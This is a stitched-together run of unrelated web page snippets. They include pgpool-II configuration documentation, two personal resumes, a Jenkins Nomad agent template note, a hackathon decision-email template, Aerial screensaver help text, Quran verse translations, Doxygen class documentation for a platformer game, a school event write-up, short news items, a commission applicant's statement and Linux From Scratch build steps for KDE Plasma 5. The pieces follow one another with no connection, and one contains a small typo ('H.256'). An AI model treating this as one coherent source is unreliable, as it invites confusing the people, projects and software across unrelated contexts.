| pgpool-II 4.0.3 Documentation | |||
|---|---|---|---|
| Prev | Up | Chapter 5. Server Configuration | Next |
All parameter names are case-insensitive. Every parameter takes a value of one of five types: boolean, string, integer, floating point, or enumerated (enum). The type determines the syntax for setting the parameter:
Boolean: Values can be written as on, off, true, false, yes, no, 1, 0 (all case-insensitive) or any unambiguous prefix of one of these.
String: In general, enclose the value in single quotes, doubling any single quotes within the value. Quotes can usually be omitted if the value is a simple number or identifier, however.
Numeric (integer and floating point): A decimal point is permitted only for floating-point parameters. Do not use thousands separators. Quotes are not required.
Enumerated: Enumerated-type parameters are written in the same way as string parameters, but are restricted to have one of a limited set of values. Enum parameter values are case-insensitive.
The most fundamental way to set these parameters is to edit the file pgpool.conf, which is located in $prefix/etc/pgpool.conf. An example of what this file might look like is:
# This is a comment listen_addresses = 'localhost' port = 9999 serialize_accept = off reset_query_list = 'ABORT; DISCARD ALL'
One parameter is specified per line. The equal sign between name and value is optional. Whitespace is insignificant (except within a quoted parameter value) and blank lines are ignored. Hash marks (#) designate the remainder of the line as a comment. Parameter values that are not simple identifiers or numbers must be single-quoted. To embed a single quote in a parameter value, write either two quotes (preferred) or backslash-quote.
Parameters set in this way provide default values for the cluster. The settings seen by active sessions will be these values unless they are overridden. The following sections describe ways in which the administrator or user can override these defaults.
The configuration file is reread whenever the main server process receives a SIGHUP signal; this signal is most easily sent by running pgpool reload from the command line. The main pgpool process also propagates this signal to all its child processes, so that existing sessions also adopt the new values. Some parameters can only be set at server start; any changes to their entries in the configuration file will be ignored until the server is restarted. Invalid parameter settings in the configuration file are likewise ignored (but logged) during SIGHUP processing.
Pgpool-II also provides two SQL style commands to interact with session-local configuration settings.
The PGPOOL SHOW command allows inspection of the current value of all parameters.
The PGPOOL SET command allows modification of the current value of those parameters that can be set locally to a session; it has no effect on other sessions.


--- layout: page title: "About Me" description: "Hi, I am Yiqing" header-img: "img/bg-about.jpg" ---
My Profile
Distributed Transaction System • Worked in a team of two to implement a distributed transaction system, which could be used in a lot of distributed products such as databases and GSuites. Supports transactions that read and write to distributed objects, like setting and getting values of some variable by a lot of clients at the same time. Ensures atomicity, consistency and isolation. • Enabled clients to execute transactions concurrently. Guaranteed serializability with strict two Phase Locking. Supports COMMIT and ABORT during every period of a transaction. Supports deadlock detection by maintaining a wait-for graph.
Django Development: University Course Information System • Developed a university course management system with Python, HTML/CSS and SQLite, which supports four user roles, system admin, registrar, scheduler and clerk. Enable users to manage course information, such as creating, reading, updating and deleting records for courses and course selections. Measured risk of different operations and reminded users of high risky operations. • Designed and Implemented the UI of the system with HTML/CSS. Used Django to develop a server to handle requests and send back responses. Utilized SQLite database as backend storage.
Mini Cryptocurrency System • Implemented a decentralized cryptocurrency system which secure financial transactions and ensures Nakamoto consensus with its longest chain rule using Go. • Used Gossip protocol to distribute transaction information to all of the nodes. Sent out transaction messages asynchronously among the system. Ensured dynamic membership of nodes with new nodes joining and old nodes leaving. • Created a simple logging system which could be used to evaluate the health of the cryptocurrency system, like to verify that a transaction reaches all nodes in the system, to track the propagation speed of a transaction and to track the bandwidth used by the system. Guaranteed to achieve eventually consistency by preserving the longest chain rule. Used SHA256 algorithm to serialize data.
Distributed Group Chat System • Created a distributed group chat system which enables multiple users to chat over network using Go. • Supported fault tolerance by simulating heartbeat protocol with the help of TCP/IP. Displayed a message when a node fails while others could continue chatting. • Implemented multicasting so that a message is sent to all connections in the connection pool. Ensured causally ordered delivery of messages by implementing vector timestamp protocol.
Android Development: Spotify-based Music Recommendation System • Cooperated with 3 students to implement a Spotify-base music recommendation system, which suggests songs when users login with their Spotify accounts. Constructed a SQL database to store data. Created a server in PHP to receive requests, connect to database, construct and send back responses. Built an Android application as front end. • Developed a server in PHP which supports several APIs including following users’ friends, recommending songs, searching for track, album, artist. • Utilized Java Android to implement front end. Implemented login function with Spotify Auth. Programmed UI of the application such as designing a progress bar to show similarities of musical tastes between users and their friends.
Website for Data Visualization • Developed a web application that realized a visualization of Yelp academic dataset with size 7G using Python, MySQL, PHP, HTML/CSS and JavaScript. Worked on the dataset to find some interesting information and present them in different statistical graphs such as scattered plot and multiline chart. • Used Python to preprocess the JSON data and save to a MySQL database. Wrote a PHP server to retrieve needed data from database for front end. Deployed the server on CPanel, which is a web host manager. • Built the framework of the website with Bootstrap template. Sent requests and received responses from server in AJAX. Applied a JavaScript package called D3 to display data in different forms including an interactive world map which can show data corresponding to different places when users hover over.
Factory Management System • Worked in a group of four to implement a local factory management system, which supports three user roles, salesmen, managers and warehouse keeper for a factory in SQL and Java. Provided different functions according to user roles such as allowing salesmen to check stock and record new purchases but forbid them from updating storage data. • Utilized Java Swing to create user interface, which mainly consists of three parts: login page, main page that displays a list of goods, and popups for users’ operations. Validate user login by matching username and password with those in the database. Prevent maloperations such as sending a warning when users entered a wrong password. Implemented publish–subscribe model by objects like ButtonClickEvent.


This is the Nomad job definition used to spawn a new agent in Nomad (JSON or HCL are accepted). You can customize it but two
important things have to be kept in mind:
- Job.ID must be %WORKER_NAME%
- JNLP agent must be started up and the agent name must be %WORKER_NAME%
Below you can find a list of placeholders which are resolved before the job is being sent to Nomad.
- %WORKER_NAME%
- name of the Jenkins agent (e.g. jenkins-146ddad3c95c9).
- %WORKER_SECRET%
- secret for this agent to connect to Jenkins (e.g. 7f1bc810deeba3a4624aea3ef0fbc74b6d56bdee27ea006a1c8f560aa66075d4).
- %WORKER_DIR%
- value of the Workspace root property (e.g. /home/jenkins).
Note: The default job definition is pretty much ready to go. You only have to adjust:
- the region
- the datacenters
- JENKINS_URL
- JENKINS_TUNNEL


{% endif %}
{% endif %}
{% if action == "decision" %}
{% if current_user.decision == "Accepted" %}
We would love to have you at hackBCA III{{ " as a mentor" if current_user.type_account == "mentor"}}! Please confirm your attendance here.
{% elif current_user.decision == "Waitlisted" %}
Sorry, you've been put on our waitlist. :( Unfortunately, we don't have enough space to accomodate all of our applicants. Don't worry, though. There's still a chance you'll be able to come to hackBCA III!
{% elif current_user.decision == "Expired" %}
Bummer. You didn't respond in time. Hopefully we'll see you next year!


The total size of all videos is approximately 35 GB
Cache Size:
This option will cause Aerial to run on system start up and launch itself after your system is idle
Developed by OrangeJedi, inspired by Mac Aerial Screen Saver and Aerial for Windows.
Visit our GitHub repository to report bugs, suggest features, view or download the code, or contribute to Aerial. For tips, tricks, a feature list, and other how-to information, visit the Wiki, also hosted on GitHub.
Copyright (c) 2023 OrangeJedi. All code and applicable assets are released under the MIT License.
| Line 1 | |
| Line 2 | |
| Line 3 | |
| Line 4 |
Aerial uses Moment.js to display the current time. Use the characters in the table below to format the time and date however you want it.
| Month | M | 1 2 ... 11 12 |
| Mo | 1st 2nd ... 11th 12th | |
| MM | 01 02 ... 11 12 | |
| MMM | Jan Feb ... Nov Dec | |
| MMMM | January February ... November December | |
| Day of Month | D | 1 2 ... 30 31 |
| Do | 1st 2nd ... 30th 31st | |
| DD | 01 02 ... 30 31 | |
| Day of Week | d | 0 1 ... 5 6 |
| do | 0th 1st ... 5th 6th | |
| dd | Su Mo ... Fr Sa | |
| ddd | Sun Mon ... Fri Sat | |
| dddd | Sunday Monday ... Friday Saturday | |
| Year | YY | 70 71 ... 29 30 |
| YYYY | 1970 1971 ... 2029 2030 | |
| AM/PM | A | AM PM |
| a | am pm | |
| Hour | H | 0 1 ... 22 23 |
| HH | 00 01 ... 22 23 | |
| h | 1 2 ... 11 12 | |
| hh | 01 02 ... 11 12 | |
| Minute | m | 0 1 ... 58 59 |
| mm | 00 01 ... 58 59 | |
| Second | s | 0 1 ... 58 59 |
| ss | 00 01 ... 58 59 | |
| Z | -07:00 -06:00 ... +06:00 +07:00 | |
| ZZ | -0700 -0600 ... +0600 +0700 |
You've installed Aerial successfully! The next time your computer isn't doing anything Aerial will start up and display those gorgeous screensavers.
If you want to fine-tweak how Aerial runs, chose what videos to play, or maybe even add a clock in the corner, simply use this menu to configure it. To reopen the config window, right-click on the tray icon and select 'config'.
If you have any questions find us online at github.com/OrangeJedi/Aerial
Thanks for using Aerial! We hope you enjoy it!
Apple hosts three different files for each video in two different formats and resolutions. They are:
An H.256 video
H.264 is a universal standard that can be played on all devices. It has a less compression, meaning videos will be larger, but potentially play back smoother. Apple only hosts these videos in 1080p.
H.265 (HEVC) is a newer standards that isn't universally adopted, not all computers can play H.265 videos. It has smaller more compression, meaning videos will be smaller. Additionally, Apple hosts both 1080p and 4K H.265 videos.
If your computer supports H.265, use it. If it does not, or if you are having problems playing H.265 videos, switch back to H.264. If you can see the video above, your computer can play H.265 videos. When using the cache, you will need to delete and re-download your videos if you change types to see an effect.


A revamped version of Beeps' Info Checker
By tastyFr#3429
Version 1.21 - Created on 3/1/2021
Updated on 4/8/2021
| Duration: | 0s |
|---|---|
| Points per round: | 0 |
| 3-crown points: | 0 |
| Speed(s): | 0.000, 0.000, 0.000 |
| baseBeats: | 0.0, 0.0, 0.0 |
| Tiles info: |
Double tiles: 0 Combo tiles: 0 Slide tiles: 0 Burst tiles: 0 |
| Calculated difficulty: | none |


| 007:185 Khan | : |
Do they not look in the dominion of the heavens and the earth and all things that Allah has created, and that it may be that the end of their lives is near. In what message after this will they then believe? |
| 007:185 Maulana | : |
Do they not consider the kingdom of the heavens and the earth and what things Allah has created, and that it may be that their doom has drawn nigh? In what announcement after this will they then believe. |
| 007:185 Pickthal | : |
Have they not considered the dominion of the heavens and the earth, and what things Allah hath created, and that it may be that their own term draweth nigh? In what fact after this will they believe? |
| 007:185 Rashad | : |
Have they not looked at the dominion of the heavens and the earth, and all the things GOD has created? Does it ever occur to them that the end of their life may be near? Which Hadith, beside this, do they believe in? |
| 007:185 Sarwar | : |
Have they not considered the Kingdom of the heavens and the earth and everything that God has created? Perhaps death approaches them. In what kind of guidance can they have faith besides that of the Quran?. |
| 007:185 Shakir | : |
Do they not consider the kingdom of the heavens and the earth and whatever things Allah has created, and that may be their doom shall have drawn nigh; what announcement would they then believe in after this? |
| 007:185 Sherali | : |
And do they not look into the Kingdom of the heavens and the earth and all things that ALLAH has created? And do they not see that, it may be, their own term has already drawn near? Then in what thing after this will they believe? |
| 007:185 Yusufali | : |
Do they see nothing in the government of the heavens and the earth and all that Allah hath created? (Do they not see) that it may well be that their terms is nigh drawing to an end? In what message after this will they then believe? |
Concepts/Themes Covered: أركان الإسلام > التوحيد > توحيد الله تعالي > وجوده Pillars of Islam> Islamic> Oneness of Allah> His Existence أركان الإسلام > التوحيد > توحيد الله تعالي > وحدانيته Pillars of Islam> Islamic> Oneness of Allah> Singularity and Being Unique أركان الإسلام > (محمد (صلى الله عليه وسلم > تأييد رسالته Pillars of Islam> The Blessed Muhammad(PBUH)> Supporting his Message العلوم والفنون > الحقائق العلمية و الإشاة إلى وقائع أيدتهاالإكتشافات العلمية > حقائق في الكون Science and Art> The Scientific Facts and the Indication to Facts which have been supported by the Scientific Discoveries>Facts about the Universe
This tool uses eight English parallel translations for the Holy Quran imported from Mr. Clay Smith. You can also visit Qurany Concepts for browsing the Quran themes or topics. If you want to search the Holy Quran for keywords, please visit Qurany Keywords.


|
PLATFORMER_BERRY_NINJA
|
Special game object representing the tile map. More...
#include <TileMapObject.hpp>
Public Member Functions | |
| TileMapObject (PlayerObject *player_object) | |
| Public constructor for the TileMapObject. More... | |
| void | Init () override |
| Overridden implementation for the Init method, this method initializes necessary components for the TileMapObject to function. More... | |
| void | Render (SDL_Renderer *renderer) override |
| Overridden implementation for the per-frame render method. This method contains special implementation to handle scrolling background. More... | |
| void | Update (float delta_time) override |
| Overridden implementation for the per-frame update method. This method contains logic to handle gravity based collisions. More... | |
| void | SetAllObjects (std::vector< GameObject * > *all_game_objects) |
| This method is used to pass all game objects in current scene to the TileMapObject. More... | |
| CameraComponent * | GetPlayerCameraComponent () |
| A getter for the player camera. More... | |
| Public Member Functions inherited from GameObject | |
| GameObject () | |
| Default public constructor. More... | |
| virtual void | UpdateFromEvent (SDL_Event &event) |
| This function passes along the user based event to the individual components. More... | |
| virtual void | AddComponent (Component *component) |
| This method can be used to add components to a game object. More... | |
| virtual void | RemoveComponent (Component *component) |
| virtual void | RemoveComponentType (ComponentType component_type) |
| This method is used to dynamically remove all components of a particular type from the object. More... | |
| virtual void | MarkObjectForDestruction () |
| This method is used to mark this object for destruction. More... | |
| virtual bool | IsDeleted () |
| A getter to get the deletion status of the game object. More... | |
| template<typename T > | |
| T | GetAttachedComponent (ComponentType component_type) |
| A generic function that can get an attached component of a specific type. More... | |
| template<typename T > | |
| std::vector< T > | GetAttachedComponentMultiple (ComponentType component_type) |
| A generic function that can get an attached component of a specific type. More... | |
| ~GameObject () | |
Additional Inherited Members | |
| Protected Attributes inherited from GameObject | |
| std::vector< Component * > * | attached_components {} |
| bool | is_deleted {} |
Special game object representing the tile map.
This can be useful in collision detection as well since the updates will need to be handled differently than other objects and components.
|
explicit |
Public constructor for the TileMapObject.
| player_object | A pointer to the player object. |
| CameraComponent * TileMapObject::GetPlayerCameraComponent | ( | ) |
A getter for the player camera.
|
overridevirtual |
Overridden implementation for the Init method, this method initializes necessary components for the TileMapObject to function.
Reimplemented from GameObject.
|
overridevirtual |
Overridden implementation for the per-frame render method. This method contains special implementation to handle scrolling background.
| renderer | The SDL_Renderer that is used to draw on screen. |
Reimplemented from GameObject.
| void TileMapObject::SetAllObjects | ( | std::vector< GameObject * > * | all_game_objects | ) |
This method is used to pass all game objects in current scene to the TileMapObject.
| all_game_objects | All the GameObjects currently in the scene. |
|
overridevirtual |
Overridden implementation for the per-frame update method. This method contains logic to handle gravity based collisions.
| delta_time | The time passed between two consecutive frame updates. |
Reimplemented from GameObject.


The school admin proposed students be released from classes for one week to solve real-world problems. It would stop business-as-usual for 160 students and dozens of teachers to allow for, instead, something else. The school needed a dedicated team to pull it off.
My title was “lead engager,” and I was responsible for managing activities, volunteers, and logistics. I threw branding into the mix.
We had two months to put together together venues, caterers, programs, support, and objectives for a 160-person event. It was unprecedented.
Meeting the needs of our users was tricky. Some teenagers, we knew, would rather stay home. Private, international prep-school parents expected globally-competitive performance. Teachers were skeptical of the amorphous learning opportunity and the abandonment of tried-and-tested classrooms.
Our final major problem was defining success. Unlike test scores, engagement is hard to turn into numbers.
With these challenges in mind, we got to work.
The need for space and food was imminent, so we solved it right away. One big thing to check off our list. We submitted facility request forms to the administration and sent a food budget with ideas and dietary restrictions to the school cafeteria.
We needed to define a role for students that would afford them the magical mix of freedom and responsibility to do the work of Engage.
I suggested students form their own teams. Teachers needed to demonstrate the faith and intention that students could self-organize and make beautiful things happen on their own.
To help students form teams, we developed a survey that tabulated a hierarchy of “project personality types.” (Mine was 1. technologist, 2. presenter, 3. designer, 4. documentarian.) Students could then use this data to make informed choices about teams, balance strong and weak.
To make it fun, we assigned each personality type a color code using legos. With the legos as a guide, students found partners that complemented their abilities in real time. The discoveries students made walking around the room, the confirmations and surprises, was one of my favorite parts of event.
To assist teacher-facilitators in their work, we defined clear roles, held training sessions, and assigned “critical friends.” So, they could act knowledgeably, with confidence and support. We also held team meetings throughout the event.
With space, food, and teams covered, We set our focus on building programmatic events that would engage and delight students.
I suggested students choose smaller, personal sessions, like in a conference. They could choose, for example, a talk on designing mobile apps, delivering a pitch, or crafting user experiences, with new sessions every hour.
In this conference-style approach, students had the benefit of breaking out of their teams to jigsaw takeaways. They could teach each other. It was a distributed system with greater variety, deeper work, and more complex networks of information.
For this, we needed to recruit speakers to craft and deliver sessions. We asked and got a yes from the headmaster, the high school director, and several teachers. They designed their own topics. They led their own workshops, 101s, and case studies. The personalized, choice-style nature of the sessions ended up being one of the greatest successes of the event.
Branding was one of the lower priorities for the planning team, which makes sense because teachers focus on curriculum. I came in with a background in visual rhetoric and media, so I was interested in picking up work in this area.
I looked at similar projects like neuscout, hackfsu, and future design school. What colors, typefaces, and trends did they employ to promote a culture of learning, productivity, and playfulness?
I decided to run with the lego brick as a symbol of imagination, construction, experimentation, and cooperative play. (The toy’s name is Dutch for “play well.”) I sent sketches to our planning team, and they liked the direction. So, I took it to Adobe Illustrator and crafted detailed variations.
I gave the director a selection of 12 to choose from and she ordered shirts on the spot. I then made posters, videos, and slides.
Students pitched their ideas, with HMWs and Storyboards -- to save thousands of dollars in energy with desk lamps and a natural light schedule in the library, to improving relations between teachers and students, to reducing wait time in the cafeteria.


With alignment
Vertical alignment
Center alignment
First Step
Second Step
Third Step
Compact
Vertical alignment
Center alignment
First Step
Second Step
Third Step
With an issue
First Step
Second Step
Third Step
Fourth Step
Fifth Step
With a failure
First Step
Second Step
Third Step
Fourth Step
Fifth Step
With custom icons
Successful completion
In process
Pending


---
layout: resume
title: Resume
description: Sarah Frostenson Resume
---
EXPERIENCE
Gannett Digital and USATODAY, McLean, VA, July 2014 — Present
Developer on Interactive Applications Team
- Develop news applications and data-driven interactives for USATODAY & Gannett newsrooms as part of the Interactive Applications team.
- Back-end skills include comfort with APIs, Python and Django, PostgreSQL/PostGIS, SQL and node. Front-end skills include experience with HTML/CSS, Javascript/jQuery, D3, Mapbox/Leaflet and frameworks like Backbone.js (i.e. I built this website. Check out my code here!)
Chronicle of Philanthropy and Chronicle of Higher Education, Washington, D.C., November 2012 — July 2014
Data Journalist on Data & Interactives Team
- Built the databases powering many of the Chronicle's interactives in SQL, including Online Fundraising, Foundations, America's Top Donors, New Grants and Endowments.
- Lead analyst for four annual projects including: Corporate Giving, Foundations, Endowments and Donor-Advised Funds.
Sunlight Foundation, Washington, D.C., September 2012 — November 2012
Influence Explorer Intern
Compiled special interest group ratings that informed voters of organizational stances on political candidates for the 2012 general election. Cleaned data on DC campaign finance for the Sunlight Foundation's Influence Explorer API. Wrote blog posts.
Fulbright Scholarship, South Africa, September 2011 — July 2012
Research Grantee
Designed and implemented a field research project that evaluated the social practicability and water efficiency of a low-cost drip irrigation system in improving household food security in a remote and under-resourced rural area of South Africa.
EDUCATION
Dartmouth College, Hanover, NH, September 2007 — June 2011
B.A. in History, High Honors; minor in Environmental Studies
Thesis: Beyond the 1984 Famine in Ethiopia: Addressing Issues of Chronic Food Insecurity.
- Steven S. Rosenthal '71 Prize for the best thesis in Asian, African or Latin American History
- Eleanor Shannon '79 and David Salem Scholarship for History majors with academic promise and demonstrated financial need
- 2010 - 2011 Third Honors Group, Top 35%
- 2011 Senior Class Marshal
The Dartmouth, College Newspaper, September 2007 — June 2011
Reporter for Arts and Entertainment; Staff Writer and Senior Columnist for The Mirror
Wrote feature articles for the Arts and Entertainment section and the newspaper's weekly featurette, "The Mirror," in addition to a humorous senior advice column entitled "Frosty's Corner."


PHOTOS: Buhari presides over FEC meeting
by Olushola OdeyindeA meeting of the Federal Executive Council presided over by President Muhammadu Buhari has started in Abuja.
See photos below:
(NAN)
A meeting of the Federal Executive Council presided over by President Muhammadu Buhari has started in Abuja.
See photos below:
(NAN)


McElroy
Dataloggers
The DataLogger is used to record and document key parameters of the fusion process to determine if a joint was fused with correct pressure and times according to supported standards.  The real-time fusion graph gives the operator immediate visual feedback and information regarding the integrity of each fusion joint.
include "datalogger-rental.html"


Government undertaking numerous projects in Zongos – Bawumia
Vice President Dr Mahamudu Bawumia has revealed that President Akufo-Addo’s administration is undertaking numerous projects in Zongos across Ghana.
According to him, the projects are aimed at improving the living standards of residents of Zongo communities.
He made this known while delivering a speech as the special guest at the National Nasara Conference of the New Patriotic Party in Techiman, Bono- East Region, on Saturday, November 23, 2019.
The Vice President mentioned that “so many projects are going on in many Zongos across the country such as schools, water systems, modern toilet facilities, drainage works, green parks and astroTurfs.”
He added that Zongos were also benefiting from other programs such as Free SHS, NABCO.
Dr. Bawumia pointed out that “…no government in the history of Ghana has paid as much attention to the needs of Zongos as the Nana Akufo-Addo administration.”


2019 Lipper Awards
2019 Lipper Awards
Featured Report
2019 Lipper Awards
Full coverage of Canada’s top performing mutual funds and ETFs
The 2019 Lipper Fund Award mutual fund and ETF winners Here is the list of funds that have won this year’s Lipper Fund Awards. They are the top performing Canadian mutual funds and ETFs in their respective asset categories over the past 3, 5 and 10 year periods.
The 2019 Lipper Fund Award top mutual fund and ETF group winners for 2019 Here is the list of fund company winners for this year’s 2019 Lipper Fund Awards.
‘Embrace uncertainty’: Mawer’s Christian Deckart on what he’s buying, selling, and thinking about markets While some portfolio managers are making adjustments to prepare for an economic storm, Mawer Investment Management's Christian Deckart says his team is charting the same course.
Smart small-cap picks help fuel returns for Lipper Award-winning BMO fund There’s more to investing in Canada than trying to pick which of the Big Six bank stocks are going to win in any given year.
How this tech fund manager outperformed all his peers When you’re competing against some of the best tech investors in the world, getting in early is crucial, said Jonathan Mzengeza.
Content from the Globe and Mail


--- layout: post title: awk reminder date: 2011-06-13 21:16:24.000000000 +01:00 type: post parent_id: '0' published: true password: '' status: publish categories: - bash tags: [] meta: _edit_last: '1' author: Noel permalink: "/awk-reminder/" ---
echo "Hello World" | awk '{print $2}'
> World


Solutions
Clients
Case Studies
Industry Solutions
Approach
User Experience
Assembly Methodology
Expertise
Next Generation Internet
Open Source Partners
More...
Company
People & Careers
About Us
News, Events & Pubs
Search
Go!
Location & Contact
News, Events & Pubs
Download


Mary Jo Hansen
Democrat
I am currently retired from an amazing lifelong career as an educator. I was a professional school counselor at Centennial High School in Pueblo, CO, beginning in 2001. I retired in 2014, then did a transition year at Central High School, also in Pueblo District 60. I taught Consumer and Family Studies and Science before becoming a school counselor.
Master of Arts degree in School Counseling, Adams State University, 2000; Master of Arts in Young Adult Ministry, Fordham University, 1988; teaching endorsement, University of Northern Colorado, 1979; Bachelor of Science in Textile Design, Colorado State University, 1978
81069
Door-to door canvassing is my strongest suit, as I enjoy meeting and engaging with people. Over the years, I have volunteered in various local and state campaigns. During this Covid election year, I made phone calls for the Mitsch-Busch, Biden and Hickenlooper campaigns. As the past Legislative Committee chair of the Colorado School Counselor Association, I collaborated to organize the Annual School Counselor Day at the Capital event over several years, and helped prepare students to testify to various state legislative committees regarding bills to support School Counselors and other educators. I donated to the campaign of Hilary Clinton in 2016, Joe Biden and John Hickenlooper in 2020.
Colorado School Counselor Association board of Directors—Past president, Legislative Chair Pueblo Centennial High School Foundation--President Elect Volunteers for Community, Colorado City, CO Co-sponsor Newman Club, a Catholic presence on high school campus in Pueblo, CO Youth Behavior Health Campaign Steering Committee, Pueblo County Docent, Centennial High School Museum
Working on the board of the Colorado School Counselor Association (CSCA) before retiring from School Counseling was the professional privilege of my career. Our model is one of co-leadership, so as the President-elect, President, and immediate Past-President, (a 3 year term) two colleagues and I co-led the board and state-wide organization. Among our accomplishments were doubling the organization’s membership, advocating for numerous legislative initiatives for educators, and providing world-class professional development for professional school counselors throughout the state. On an individual level, the work of a school counselor is always about advocating for systemic change within schools and districts in order to bring about equity for students. Since retiring I have become more involved in volunteer opportunities, among them Volunteers for Community in Colorado City. We are a non-profit serving mainly underrepresented folks in a tri-county area in many capacities, from Food Distribution to helping in the schools and public library, to building trails in the area. Alongside our regular activities, we are currently building a Community Center multi-use building for the Greenhorn Valley. I have participated in many projects and chaired an Annual Community Fundraising event for three years, collaborating in planning, organizing and carrying out the event which earned, on average, $7000. Similarly, as a board member of the Centennial High School Foundation, I continue to be a valued team member. I engaged a 15 person steering Committee in collaborative planning for our biennial fundraiser event. We carried through the event which raised nearly $40,000 for students in need. As president-elect, I will be working to develop projects which both preserve the 144 year legacy of alumni and community tradition and support current students. Centennial High is both my alma mater and where I spent the most rewarding years of my working career. I am invested in its legacy and the future of its students in paying forward what I received.
They say charity begins at home. Pueblo County has been my home for most of my life. My initial interest in applying is based on the way that Pueblo has been eclipsed in the Congressional redistricting. We do not have true representation, as we have very little in common with the entire Western slope. Taking the wider view, I imagine we are not the only community experiencing a similar issue, so I believe you need commissioners who will advocate for the state to be redistricted in a more fair and balanced manner. My background as a school counselor is in advocating, for students, for systemic change; I am accustomed to being a voice for those marginalized.
I am a cradle Democrat (born in Durango where my grandmother was the Democratic Caucus chair) married to a Republican with Libertarian leanings. I have been known to listen to NPR and Rush Limbaugh during the same commute to Pueblo. Though the ensuing whiplash is sometimes off-putting, I have learned that listening to both sides is the best way to discern what is my own truth. The ability to be fair and impartial is absolutely necessary in my pursuit of both truth and a happy home! My school counselor training provided theory and practice in conflict mediation and consensus building. I practice empathy in my everyday life, it was the core of my training as a counselor. Understanding another’s perspective is the key to collaboration, and being able to communicate that understanding creates the space for the necessary teamwork to occur.
I hold two Masters’ degrees, one in theology, the other in school counseling. I wrote a thesis in earning one of them, took comprehensive exams in earning the other. As part of each, statistical research was a prerequisite, including courses in statistics. However, where I “earned my stripes” in data analysis was in my career as a school counselor. I transitioned from classroom teaching to counseling as educators were discovering data-driven decision-making. The School Counseling National Model provided the impetus for training with and using data, and inspired our new motto, “In God we trust, all others bring data”. We learned to make our decisions based on data because we found that led to the strategies for best serving students’ needs. It completely changed the way we conducted our work on a daily basis and transformed outcomes for our students.
female


--- layout: post title: Mobile TV predictions date: 2005-01-28 00:00:00 category: mobile ---
Mobile TV predictions: "Before full television programming, many operators are experimenting with short episodes and clips. Most recently, Verizon Wireless has joined with a production company, Twentieth Television, to deliver direct-to-mobile shows as part of its new VCast service. The deal will also be extended to Verizon Wireless co-owner Vodafone’s Live! platform outside the US. The TV company plans to produce 52 one-minute ‘mobisodes’ of two original soap operas."


KDE Plasma 5 is a collection of packages based on top of KDE Frameworks 5 and QML. It has been derived from the monolithic KDE 4 desktop. They implement the KDE Display Environment (Plasma 5).
This package is known to build and work properly using an LFS-8.0 platform.
The instructions below build all of the Plasma 5 packages in one step by using a bash script.
Download (HTTP): http://download.kde.org/stable/plasma/5.9.2
Download MD5 sum: See Below
Download size: 116 MB
Estimated disk space required: 971 MB (307 MB installed)
Estimated build time: 37 SBU
GTK+-2.24.31, GTK+-3.22.8, KDE Frameworks-5.31.0, libpwquality-1.3.0, libxkbcommon-0.7.1, Mesa-13.0.4 built with Wayland-1.12.0, NetworkManager-1.6.2, PulseAudio-10.0, Python-2.7.13, qca-2.1.1 (built with qt5), taglib-1.11.1, and xcb-util-cursor-0.1.3
libdbusmenu-qt-0.9.3+16.04.20160218, libcanberra-0.30, libinput-1.6.1, Linux-PAM-1.3.0, lm_sensors-3.4.0, oxygen-icons5-5.31.0, and pciutils-3.5.2
GLU-9.0.0, Xorg Synaptics Driver-1.9.0, appstream-qt, ibus, KDevPlatform, libgps, libhybris, libraw1394, mockcpp, packagekit-qt, Qalculate, Qapt, SCIM, and socat (for pam_kwallet)
User Notes: http://wiki.linuxfromscratch.org/blfs/wiki/kf5
The easiest way to get the KDE Plasma5 packages is to use a single wget to fetch them all at once:
url=http://download.kde.org/stable/plasma/5.9.2/
wget -r -nH --cut-dirs=3 -A '*.xz' -np $url
The options used here are:
-r recurse through child directories
-nH disable generation of host-prefixed directories
--cut-dirs=3 remove three levels of directories when saving
-A '*.xz' just get the *.xz files
-np don't get parent directories
The order of building files is important due to internal dependencies. Create the list of files in the proper order as follows:
cat > plasma-5.9.2.md5 << "EOF"
73bc77af6f711c06d6d3f1ef45f10160 kde-cli-tools-5.9.2.tar.xz
626a33ac01151206d3253e8c29d435ad kdecoration-5.9.2.tar.xz
c9b35833c8d7c393d1bbb3dabc70f0d5 libkscreen-5.9.2.tar.xz
78dc80f2ea85bc819a232a8aa8179c69 libksysguard-5.9.2.tar.xz
5c276dcbe1d9ed7884246a34f6a3707a breeze-5.9.2.tar.xz
f31d99fffcf1d8b339ae4a9cfec67856 breeze-gtk-5.9.2.tar.xz
153146a388091bf167ada1f436394d11 kscreenlocker-5.9.2.tar.xz
54e1676160447f7c8bc56b62242809d2 oxygen-5.9.2.tar.xz
09c1336a19629f9f2b64885b4104d23e kinfocenter-5.9.2.tar.xz
abc2bb29f5e72c04840f24085b84a48c ksysguard-5.9.2.tar.xz
35a815b1de64c4feb1670d21b85484e3 kwin-5.9.2.tar.xz
d711cf51ca3b21f1bed3ec367d6fbea8 systemsettings-5.9.2.tar.xz
0ab5467630ac11bcfe9d134449811641 plasma-workspace-5.9.2.tar.xz
9b5ea9445306520190a54e1e72b25d81 bluedevil-5.9.2.tar.xz
f5a8d06f99eacb828d5476001f21481c kde-gtk-config-5.9.2.tar.xz
f9949eee01af23cf7e5c940ae24e815a khotkeys-5.9.2.tar.xz
0183785beb44a066907c4d7a0025ba00 kmenuedit-5.9.2.tar.xz
8c4d6b9c36d8943a4c6d29313285d5d6 kscreen-5.9.2.tar.xz
77c383d9f4f38d962b0bfaf97740fc00 kwallet-pam-5.9.2.tar.xz
bd8b2ccb3feef5556e54134c48dcb4cd kwayland-integration-5.9.2.tar.xz
1eb7128d2133ba378e2d816a75241f40 kwrited-5.9.2.tar.xz
f060f64201f77190902ceb0b2970a854 milou-5.9.2.tar.xz
fe07081e243c21a881e74811e21e5699 plasma-nm-5.9.2.tar.xz
843b66f9c01373a5f9e706bb0ed6857f plasma-pa-5.9.2.tar.xz
96b3bce05e95880f2d971f0e50ddc997 plasma-workspace-wallpapers-5.9.2.tar.xz
3b83e658f8a3d8ca163f7f386204f7c8 polkit-kde-agent-1-5.9.2.tar.xz
0fbed265a6e2ddc201951d686c60a6c9 powerdevil-5.9.2.tar.xz
189bca8e52a9aa49e07979a73c2027ea plasma-desktop-5.9.2.tar.xz
7d5bcc25bb81464e4d0a48cfcd88e4d0 kdeplasma-addons-5.9.2.tar.xz
0bd92b511f5cf038e3d2cdb3603079e1 kgamma5-5.9.2.tar.xz
6f7b588292a1a9b8dcf9b71bb14d7db2 ksshaskpass-5.9.2.tar.xz
#db4a5d3fba916641d011fce81cd62491 plasma-sdk-5.9.2.tar.xz
e9b418da105db2afd0174d4c0055e82b sddm-kcm-5.9.2.tar.xz
54aa86277d27b2a7d10945375f46e781 user-manager-5.9.2.tar.xz
fc31095f62beb97e5794190f37f9723d discover-5.9.2.tar.xz
